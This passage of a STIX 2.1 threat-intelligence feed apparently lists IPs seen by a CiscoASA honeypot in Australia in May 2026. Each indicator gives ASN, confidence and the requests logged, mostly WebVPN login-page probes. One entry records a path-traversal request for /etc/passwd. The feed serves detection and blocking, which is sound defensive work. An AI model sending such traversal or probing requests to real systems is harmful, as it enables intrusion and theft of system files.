      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--829191e5-fd48-4009-9de3-0d1ffbb6d11d",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T03:20:10.000Z",
      "valid_until": "2026-06-02T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--eb169d06-f478-4981-8e87-19d99c817be4",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.102.246.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:20:02.000Z",
      "valid_until": "2026-06-02T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--b9fdf34b-d8c2-4702-b728-4dad41832fa4",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '104.36.50.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:20:02.000Z",
      "valid_until": "2026-06-02T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--650acbae-c9f5-462b-aae0-7f7c8f45f8cc",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.95.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:20:02.000Z",
      "valid_until": "2026-06-02T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--4472a798-174c-4dd7-a97a-138d7fb4e2cd",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.166']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:20:02.000Z",
      "valid_until": "2026-06-02T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--18f53e46-ef56-4164-8bd5-e0b5c949028f",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:20:02.000Z",
      "valid_until": "2026-06-02T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--651a45fc-62a7-4228-91c5-ec2741996dfb",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:20:02.000Z",
      "valid_until": "2026-06-02T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--125b5ce1-b95d-4a38-aaf5-ba25e701089c",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:20:02.000Z",
      "valid_until": "2026-06-02T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T04:20:02.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--9f397b05-f0eb-45a1-895a-90f57be6deb0",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T04:20:02.000Z",
      "valid_until": "2026-06-02T04:20:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--7b823826-77ae-46f0-9d1d-c45f3cd49d9e",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:20:11.000Z",
      "valid_until": "2026-06-02T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--edee5faa-f46d-4a7a-9752-55aff47c093f",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:20:11.000Z",
      "valid_until": "2026-06-02T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--c95730cf-c0d2-45b8-8073-a73b53ec0a7f",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.115.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:20:11.000Z",
      "valid_until": "2026-06-02T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--eadc1dd1-ce53-4f91-9773-ebaf3283f4d9",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.73.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:20:11.000Z",
      "valid_until": "2026-06-02T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--733756eb-e6cb-4ce6-8e50-e4f05f94c641",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:20:11.000Z",
      "valid_until": "2026-06-02T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--a18faf26-0c25-41a3-9259-e0c4e8db387b",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '37.19.221.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:20:11.000Z",
      "valid_until": "2026-06-02T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T05:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 - geo: SC; ASN 206264 (Amarutu Technology Ltd)",
      "id": "indicator--d52f0262-f166-4536-9a45-fe5981be7edb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.61.209.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T05:20:11.000Z",
      "valid_until": "2026-06-02T05:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 4,
          "first_seen": "2026-05-04T04:05:10.620Z",
          "last_seen": "2026-05-29T16:51:35.622Z",
          "country": "Seychelles",
          "country_code": "SC",
          "asn": 206264,
          "as_org": "Amarutu Technology Ltd",
          "event_types": [
            "\"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e8997d79-4d94-4d77-80f5-7ad07e1ca7d1",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.105.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:20:13.000Z",
      "valid_until": "2026-06-02T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--823068f0-8d53-45eb-b441-8f44538223b4",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.91.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:20:13.000Z",
      "valid_until": "2026-06-02T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e1543b3e-8c86-4e18-9f7e-d63f86b54659",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.92.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:20:13.000Z",
      "valid_until": "2026-06-02T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T06:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--e178286d-cc94-49a8-9511-c7c7ee39df0e",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.134.142.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T06:20:13.000Z",
      "valid_until": "2026-06-02T06:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T07:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2d4e27a6-d7bd-4a72-91a7-661736fda2ec",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.113.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:20:24.000Z",
      "valid_until": "2026-06-02T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T07:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d94cf6f2-006d-42eb-b318-3548549b5f71",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.93.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:20:24.000Z",
      "valid_until": "2026-06-02T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T07:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--4ce57d01-18e0-4c9b-834b-0f9f26847717",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:20:24.000Z",
      "valid_until": "2026-06-02T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T07:20:24.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--481f4022-a578-4c8b-a172-b99bb31b4920",
      "labels": [
        "unknown",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '68.235.46.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:20:24.000Z",
      "valid_until": "2026-06-02T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 0
        }
      }
    },
    {
      "created": "2026-05-01T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--8b821c6b-6132-488f-8073-3f74262797c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:20:10.000Z",
      "valid_until": "2026-06-02T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 15,
          "first_seen": "2026-05-05T21:47:49.127Z",
          "last_seen": "2026-05-26T07:05:11.852Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--c504e325-c62f-4915-a378-c4f85992fc3d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:20:10.000Z",
      "valid_until": "2026-06-02T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 12,
          "first_seen": "2026-05-04T17:42:23.581Z",
          "last_seen": "2026-05-29T20:36:45.522Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--82b02fde-5b01-4b6d-9393-b750989339b5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-05-31T23:49:05Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.234.96.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T09:20:10.000Z",
      "valid_until": "2026-06-02T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-05",
          "attack_count": 2,
          "first_seen": "2026-05-25T17:21:46.988Z",
          "last_seen": "2026-05-25T17:21:50.464Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-05-01T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--963a7a5f-b5de-4f8b-96bd-8c1631eaf191",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
